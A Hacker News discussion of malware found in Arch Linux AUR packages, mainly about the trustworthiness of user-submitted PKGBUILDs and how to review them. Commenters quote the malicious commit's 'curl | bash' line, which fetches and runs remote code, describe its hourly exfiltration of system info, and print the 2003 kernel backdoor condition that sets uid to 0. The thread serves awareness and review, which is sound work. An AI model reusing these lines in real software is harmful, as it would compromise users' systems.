    Distributing them as repackaged binaries would be against the terms. I'm unsure what distros ignores the terms and packages them anyway. It is a clear liability for any larger distributions at least.
  - blfr 8y ago
    By being popular enough to have providers package the software for them. For example, Chrome is available from a repo maintained by Google itself. https://www.google.com/linuxrepositories/ https://www.google.com/linuxrepositories/ OTOH, you're basically giving Google root access to your machine.
  - Hello71 8y ago
    Either ignore them (Ubuntu) or they just don't. For many years Debian and Fedora didn't have MP3 decoder installed by default.
- bscphil 8y ago
  Chromium and Google's Roboto and Noto fonts are all in the official repos.

Tharre 8y ago

For the people interested, here's the actual commit from the acroread package: https://aur.archlinux.org/cgit/aur.git/commit/?h=acroread&id=b3fec9f2f16703c2dae9e793f75ad6e0d98509bc https://aur.archlinux.org/cgit/aur.git/commit/?h=acroread&id...

kevincox 8y ago
Following the URLs it appears that it sets up a systemd timer to post some system info to pastebin every hour. However the script also appears to have a mistake which I think would cause it to only log to /root/home/*/compromised.txt. $uploader "$FULL_LOG" should be upload "$FULL_LOG"
dmix 8y ago
> + curl -s https://ptpb.pw/~x|bash https://ptpb.pw/~x|bash -& So much for being sneaky malware, he wasn't even trying to hide it... Any insertion of a `curl` command to some shady looking TLD piping to bash is going to be a massive red flag to even unsophisticated linux users. Not much to see here, fortunately.
- 0xb100db1ade 8y ago
  that "shady" domain is the official pastebin for freenode's Arch Linux IRC channel
  - earenndil 8y ago
    Even moreso: the fact that it's well-known as a pastebin means that it should be obvious data coming from it are user-generated and could come from anyone.

arendtio 8y ago

As an Arch user this bothers me since a while. On the one hand the AUR contains packages I don't want to miss, on the other hand installing and updating from the AUR is tiresome. Recently I switched to the AUR helper aurman which is great, but it still doesn't free you from reviewing PKGBUILD changes. Sometimes I wish there would be some kind of review process where popular packages could be labeled as 'reviewed' (e.g. by experienced/trusted arch users) and an (optional) option within the AUR helpers to accept 'reviewed' packages without presenting the PKGBUILD for review. I know that wouldn't be perfect either, but at least it would increase the efficiency and as a user one could focus on the less popular packages where it is unlikely that someone else will find some malware.

iv597 8y ago
In a sense we already have that, in the form of the `community` repo: Trusted Users mark a package as safe, adopt it, and it gets packaged up and supported. Perhaps the answer is a few more TUs to get some of the popular AUR packages adopted and officially supported.

jolmg 8y ago

Is there a public database of linux malware found in the wild that one can study to know what kind of things to look for when reviewing PKGBUILDs and other open source code? EDIT: s/repository/public database/

Foxboron 8y ago
Nothing that I know off. Are you thinking specific to Arch Linux or in general?
- jolmg 8y ago
  In general, but also containing malware found in code belonging to the different distributions, like PKGBUILDs. I'm just thinking that part of the problem with the lack of review of AUR packages by the users is that it's not really obvious what one should be on the lookout for. What does linux malware found in the wild generally look like?, is what I'm wondering. I would think that it would benefit us all to make the cases where malware is found more easy to study. The case shown here is pretty obvious looking, but I don't think it would be too difficult to make it better hidden. Seeing what kind of tricks are statistically more common would make PKGBUILDs easier to review.
  - lucb1e 8y ago
    This is one example of a kernel backdoor: if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL; If you haven't heard of it before, and if you're not an experienced dev, it can be tricky to spot. So what I'm trying to say is that I think you're right in that it's difficult for random people (even if they have a strong tech background) to do secure code reviews. More info of this particular one at e.g. https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/ https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-... or just search for 'linux backdoor attempt'
    - jolmg 8y ago
      It's not about everyone being prepared to find malware anywhere, though, but only in the cases where they each do. For random users of AUR packages, if they (for whatever reason) trust a project's author, then they only need to check the package author's work. If they could have access to historical examples of real life malware specifically on PKGBUILD files, that would make it much easier to have an idea of what kind of details they should be on the alert for. For kernel devs, specifically the kind that reviews patches submitted by others, I would think it would also be useful to have data on previous successful and failed attempts at introducing backdoors into the kernel. Right now, I think that for anyone that wants to see this kind of data for any particular kind of software, they'd have to search for it through various mediums like mailing lists or the blog you linked to (through google). That's an interesting link, by the way. Thanks for sharing. EDIT: Removed redundant part. Misread what parent post meant.

relyio 8y ago

I don't know a single Arch Linux user who doesn't check the PKGBUILD of the packages they get from AUR.

lsh 8y ago
pleased to meetcha, you now know one.

sandov 8y ago

I really hope one day Linux stops using package managers and switches to single-file binary installers as in Windows and Mac. Until that day, I won't feel completely comfortable using Linux. Package managers are an inherently flawed way to distribute software, instead of obtaining your programs from whoever developed that program you get it from your OS developer!.

delbel 8y ago

I tried installing Arch Linux, and it was harder then installing SunOS 4.3. The instructions were absolutely wrong. I wish I could give it another try, but I just don't have time to experience the wow's of the early 90s just to get a browser up.

Grimm665 8y ago
The Arch wiki used to have an amazing Beginner's guide along with the general Installation Guide. They've since dropped it from the wiki, but there are archived versions that I still bring up every now and then when setting up a new Arch install. Here's one: https://csdietz.github.io/arch-beginner-guide/ https://csdietz.github.io/arch-beginner-guide/

jancsika 8y ago

> Following the discovery all dangerous instances were removed and the user account suspended. I heard they're making a change to the policy for uploading packages to AUR. The next time this happens the user will automatically receive an email that says, "Hey, don't do that."

etu 8y ago

I'm surprised that this hasn't happened a lot earlier to be honest. It probably has but haven't been picked up by someone. It's a user submitted repo with over 44000 packages (source repology [0]). It has happened to the snap store recently, but AUR has been around for ages. [0]: https://repology.org/repository/aur https://repology.org/repository/aur